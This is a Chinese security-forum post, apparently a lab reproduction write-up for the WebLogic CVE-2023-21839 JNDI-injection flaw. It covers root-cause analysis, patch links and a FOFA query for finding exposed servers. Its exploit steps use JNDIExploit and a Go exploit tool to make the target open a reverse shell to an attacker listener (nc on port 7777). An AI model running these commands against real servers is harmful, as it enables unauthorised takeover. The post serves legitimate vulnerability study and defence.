安全矩阵

 找回密码
 立即注册
搜索
查看: 882|回复: 0

Weblogic未授权远程代码执行漏洞(CVE-2023-21839)

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2024-3-25 00:43:46 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2024-3-25 00:43 编辑

原创 狗一样的男人 s7ck Team 2024-03-03 20:18 河南

weblogic介绍
Oracle WebLogic Server是一款Java EE应用服务器,为部署、运行和管理企业应用程序提供基础架构。WebLogic Server被设计用于处理大规模部署和高性能要求。它支持集群和负载均衡,既用于内部部署,也用于云部署和管理。允许应用程序通过将工作负载分布到多个服务器来实现水平扩展。WebLogic Server包含管理工具和API,通过提供一个集中的控制台,允许管理员有效地管理和监控服务器和应用程序。它可以配置、部署和监控任务,简化了管理复杂应用环境的过程。
WebLogic Server具有与其他Oracle产品(如Oracle数据库、Oracle Fusion Middleware和Oracle Cloud Infrastructure)的集成能力。它还支持各种集成标准和协议,使企业能够将其应用程序与第三方系统集成。
该漏洞发现者:0xrumbe, Lamber, M1s5p of ThreatBook LabsCVE-2023-21839(摘自:weblogic漏洞披露)
漏洞影响范围

Oracle WebLogic Server 12.2.1.3.0Oracle WebLogic Server 12.2.1.4.0Oracle WebLogic Server 14.1.1.0.0漏洞原理
Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当运行远程用户未授权通过IIOP/T3进行lookup或list操作时触发了绑定对象的getReferent方法,而远程对象(weblogic.deployment.jms.ForeignOpaqueReference)继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
成功利用此漏洞可导致Oracle WebLogic服务器被接管,当JDK版本过低时,通过rmi/ldap远程协议进行远程命令执行,可能导致远程代码执行。
[color=rgba(0, 0, 0, 0.9)]fofa搜索语法

app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"漏洞复现docker快速启动git clone https://github.com/vulhub/vulhub.git

cd /vulhub/weblogic/CVE-2023-21839

docker-compose up -d
[color=rgba(0, 0, 0, 0.9)]
首先将启动 LDAP 服务器,该服务器将托管恶意 Java 文件以供 WebLogic 服务器接收。
LDAP 服务器旨在托管服务的目录信息。
在本例中,它将保存一个Java对象,WebLogic将使用该对象来获取目录信息,这将导致我们的漏洞利用代码运行。
https://github.com/ASkyeye/CVE-2023-21839 # 下载
cd cmd

go build -o CVE-2023-21839 # 编译生成
/cve-2023-21839 -ip 192.168.234.158 -port 7001 -ldap ldap://b7****.dnslog.cn # 使用dnslog平台


# 测试成功
[color=rgba(0, 0, 0, 0.9)]
reverse_shell
https://github.com/WhiteHSBG/JNDIExploit

https://github.com/ASkyeye/CVE-2023-21839
1,利用JNDIExploit创建ldap服务器进行反弹shell

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.234.130 # 指定监听端的ip

2,利用go编译的CVE-2023-21839进行攻击
./cve-2023-21839 -ip 192.168.234.158 -port 7001 -ldap ldap://192.168.234.130:1389/Basic/ReverseShell/192.168.234.130/7777 # 运行指定受害机器的ip和端口,采用基础的反弹shell方案反弹到192.168.234.130d的7777端口。# JNDIExploit还有多种反弹shell格式,这里不进行探讨。

3,sudo nc -lnvp 7777 # 建立监听
[color=rgba(0, 0, 0, 0.9)]
[color=rgba(0, 0, 0, 0.9)]

使用了8u121的jdk版本和fmw_12.2.1.3.0_wls_Disk1_1of1.zip的weblogic版本

# 配置java环境变量
mv jdk1.8.0_121/ /usr/java

cat /etc/profile

export JAVA_HOME=/usr/java/
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

source /etc/profile

java -version

# 创建配置用户信息
useradd -m -r weblogic

passwd weblogic

mkdir /home/weblogic/oraInventory # 创建oraInventory目录
mkdir /home/weblogic/weblogic_install # 创建weblogic安装目录
mkdir /home/weblogic/weblogic_dir # 创配置文件目录,并将安装包拷贝到目录下
# 新建oraInst.loc文件
cat > /home/weblogic/weblogic_dir/oraInst.loc << EOF

inventory_loc=/home/weblogic/oraInventory

inst_group=weblogic

EOF
# 创建wls12c.resp文件
cat > /home/weblogic/weblogic_dir/wls12c.resp << EOF
[ENGINE]
  
#DO NOT CHANGE THIS.
Response File Versinotallow=1.0.0.0.0
  
[GENERIC]
#Set this to true if you wish to skip software updates
DECLINE_AUTO_UPDATES=true  
#My Oracle Support User Name
MOS_USERNAME=
#My Oracle Support Password
MOS_PASSWORD=<SECURE VALUE>
#If the Software updates are already downloaded and available on your local system, then specify the path to the directory where these patches are available and set SPECIFY_DOWNLOAD_LOCATION to true
AUTO_UPDATES_LOCATION=
#Proxy Server Name to connect to My Oracle Support
SOFTWARE_UPDATES_PROXY_SERVER=
#Proxy Server Port
SOFTWARE_UPDATES_PROXY_PORT=
#Proxy Server Username
SOFTWARE_UPDATES_PROXY_USER=
#Proxy Server Password
SOFTWARE_UPDATES_PROXY_PASSWORD=<SECURE VALUE>
#The oracle home location. This can be an existing Oracle Home or a new Oracle Home
ORACLE_HOME=/home/weblogic/weblogic_install/
#Set this variable value to the Installation Type selected. e.g. WebLogic Server, Coherence, Complete with Examples.
INSTALL_TYPE=WebLogic Server
#Provide the My Oracle Support Username. If you wish to ignore Oracle Configuration Manager configuration provide empty string for user name.
MYORACLESUPPORT_USERNAME=
#Provide the My Oracle Support Password
MYORACLESUPPORT_PASSWORD=<SECURE VALUE>
#Set this to true if you wish to decline the security updates. Setting this to true and providing empty string for My Oracle Support username will ignore the Oracle Configuration Manager configuration
DECLINE_SECURITY_UPDATES=true   
#Set this to true if My Oracle Support Password is specified
SECURITY_UPDATES_VIA_MYORACLESUPPORT=false  
#Provide the Proxy Host
PROXY_HOST=
#Provide the Proxy Port
PROXY_PORT=
#Provide the Proxy Username
PROXY_USER=
#Provide the Proxy Password
PROXY_PWD=<SECURE VALUE>
#Type String (URL format) Indicates the OCM Repeater URL which should be of the format [scheme[Http/Https]]://[repeater host]:[repeater port]
COLLECTOR_SUPPORTHUB_URL=
  
EOF

# 开始部署weblogic服务
java -jar fmw_12.2.1.3.0_wls.jar -silent -responseFile /home/weblogic/weblogic_dir/wls12c.resp -invPtrLoc /home/weblogic/weblogic_dir/oraInst.loc

# 创建weblogic新域
配置weblogic环境变量
su root

cd /home/weblogic/

cat >> .bashrc << EOF

export MW_HOME="/home/weblogic/weblogic_install/"
export WL_HOME="/home/weblogic/weblogic_install/oracle_common"
EOF

echo $MW_HOME # 切换到weblogic用户查看变量是否设置成功
mkdir -p /home/weblogic/weblogic_install/user_projects/domains/base_domain/ # 设置自定义domain的文件夹路径
cd /home/weblogic/weblogic_install/wlserver/common/bin

./wlst.sh # 敲过该命令后在后面输入以下命令

  cd('Servers/AdminServer')
  set('ListenAddress','')
  set('ListenPort', 7001) # 监听端口
  cd('../..')
  cd('Security/base_domain/User/weblogic')
  cmo.setPassword('weblogic123') # 域的登陆密码
  setOption('OverwriteDomain', 'true')
  writeDomain('/home/weblogic/weblogic_install/user_projects/domains/base_domain') # 设置上边新建的目录为新建域的工作目录
  closeTemplate()
  exit()
[color=rgba(0, 0, 0, 0.9)]
[color=rgba(0, 0, 0, 0.9)]执行该命令即可启动服务
find / -name "startWebLogic.sh" 2>/dev/nulll
/home/weblogic/weblogic_install/user_projects/domains/base_domain/bin/startWebLogic.sh其余步骤与docker一样,攻击成功
[color=rgba(0, 0, 0, 0.9)]
[color=rgba(0, 0, 0, 0.9)]jdk版本问题
# 切换不同jdk版本以确保JNDIExploit可以正常运行,本文使用8u121版本
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk8/bin/java 1

sudo update-alternatives --config java
[color=rgba(0, 0, 0, 0.9)]漏洞修复
https://support.oracle.com/rs?type=doc&id=2917213.2

https://www.oracle.com/security-alerts/cpujan2023.html
通过控制T3协议的访问来阻断利用T3协议的漏洞攻击。
通过关闭IIOP协议来阻断利用IIOP协议的漏洞攻击。
https://help.aliyun.com/noticelist/articleid/1060577901.html
[color=rgba(0, 0, 0, 0.9)]拓展
[color=rgba(0, 0, 0, 0.9)]IIOP(Internet Inter-ORB Protocol)和T3协议
WebLogic Server使用IIOP(Internet Inter-ORB Protocol)和T3协议来支持分布式应用程序的通信。
1. IIOP(Internet Inter-ORB Protocol):IIOP是CORBA(Common Object Request Broker Architecture)中定义的一种标准协议。它允许不同的对象请求代理(ORB)之间进行通信,从而实现跨平台、跨语言的分布式应用程序开发。WebLogic Server通过支持IIOP协议,使得基于CORBA的应用程序能够与其他CORBA ORBs进行交互。
2. T3协议:T3是WebLogic Server特有的自定义协议,它是一种轻量级的二进制协议,专门用于WebLogic Server与客户端之间的通信。T3协议被设计为高效、可靠且安全的协议,提供了在WebLogic Server上运行的Java EE应用程序与客户端之间进行远程方法调用(RMI)和消息传递的机制。
WebLogic Server 中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端及其他 WebLogic Server实例)间传输数据
[color=rgba(0, 0, 0, 0.9)]nmap探测t3协议
sudo nmap -n -v -Pn -p7001,7002 --script=weblogic-t3-info.nse -sV 192.168.234.158 # 探测t3协议,-n禁用反向dns解析
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-26 21:40 EST

NSE: Loaded 46 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 21:40

Completed NSE at 21:40, 0.00s elapsed

Initiating NSE at 21:40

Completed NSE at 21:40, 0.00s elapsed

Initiating ARP Ping Scan at 21:40

Scanning 192.168.234.158 [1 port]
Completed ARP Ping Scan at 21:40, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:40

Scanning 192.168.234.158 [2 ports]
Discovered open port 7001/tcp on 192.168.234.158

Completed SYN Stealth Scan at 21:40, 0.03s elapsed (2 total ports)
Initiating Service scan at 21:40

Scanning 1 service on 192.168.234.158

Completed Service scan at 21:41, 11.03s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.234.158.
Initiating NSE at 21:41

Completed NSE at 21:41, 0.03s elapsed

Initiating NSE at 21:41

Completed NSE at 21:41, 0.01s elapsed

Nmap scan report for 192.168.234.158

Host is up (0.00084s latency).

PORT STATE SERVICE VERSION

7001/tcp open     http Oracle WebLogic admin httpd 12.2.1.3 (T3 enabled)
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 12.2.1.3)
7002/tcp filtered afs3-prserver

MAC Address: 00:0C:29:24:0A:50 (VMware)

NSE: Script Post-scanning.
Initiating NSE at 21:41

Completed NSE at 21:41, 0.00s elapsed

Initiating NSE at 21:41

Completed NSE at 21:41, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.55 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (144B)JNDI注入
# 简述
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性,在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
在2018年10月,Java对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
[color=rgba(0, 0, 0, 0.9)]jndi注入攻击流程
客户端使用lookup函数,并且参数可控
  1,漏洞端访问服务端
  2,漏洞端获取HTTP恶意载荷地址(ldap或rmi服务段)
  3,漏洞端远程请求恶意载荷进行攻击
  4,漏洞端获取指令,执行命令(http服务端利用python服务放置恶意攻击载荷)反编译jar包
[color=rgba(0, 0, 0, 0.9)]https://www.cnblogs.com/BlogVice-2203/p/17454727.html
weblogic安装后
进入该目录下
/home/weblogic/weblogic_install/wlserver/server/lib

java -jar ../../modules/com.bea.core.jarbuilder.jar
导入项目
[color=rgba(0, 0, 0, 0.9)]
[color=rgba(0, 0, 0, 0.9)]

我们从上往下进行分析:
首先weblogicOpaqueReference是一个接口
OpaqueReference 接口有两个抽象方法:getReferent() 和 toString();
[color=rgba(0, 0, 0, 0.9)]

ForeignOpaqueReference是OpaqueReference接口的实现类。在ForeignOpaqueReference类中声明了两个私有变量:jndiEnvironment和remoteJNDIName,同时声明了两个构造方法,在有参构造方法中接收env和remoteJNDIName,并分别赋值给了上面的两个私有类变量。
当远程对象继承自OpaqueReference时,客户端对该对象进行jndi查找并获取的时候,服务端实际上是通过调用远程对象getReference()方法来获取该对象的实际引用。
ForeignOpaqueReference类的getReferent()方法是OpaqueReference接口的实现方法,在getReferent()方法中,retVal = context.lookup(this.remoteJNDIName); 对本类remoteJNDIName变量中的JNDI地址进行远程加载,导致了反序列化漏洞。
[color=rgba(0, 0, 0, 0.9)]

ForeignOpaqueReference 类的 getReferent() 方法调用在WLNamingManager类中。而该WLNamingManager类是weblogic server相关的类,是WebLogic Server中的一个类,负责实现命名服务的功能。它可能处理将应用程序组件注册到特定的命名空间,以便在WebLogic Server环境中进行访问和查找。
在 WLNamingManager 类的 getObjectInstance() 方法中,当传入的 boundObject 对象实现了 OpaqueReference 接口时,则会调用该对象的 getReferent() 方法,即 boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);。
当Weblogic通过T3\IIOP进行绑定的远程对象实现了OpaqueReference接口,那么在对该对象进行lookup时,会调用这个对象的getReferent函数进行查询。而ForeignOpaqueReference的对象,它的getReferent函数在进行远程对象查询的时候,会再次发起JNDI查询,从而造成了JNDI注入。
[color=rgba(0, 0, 0, 0.9)]文章中如果由出错的地方,还望各位大佬多多指教

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:20 , Processed in 0.014326 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表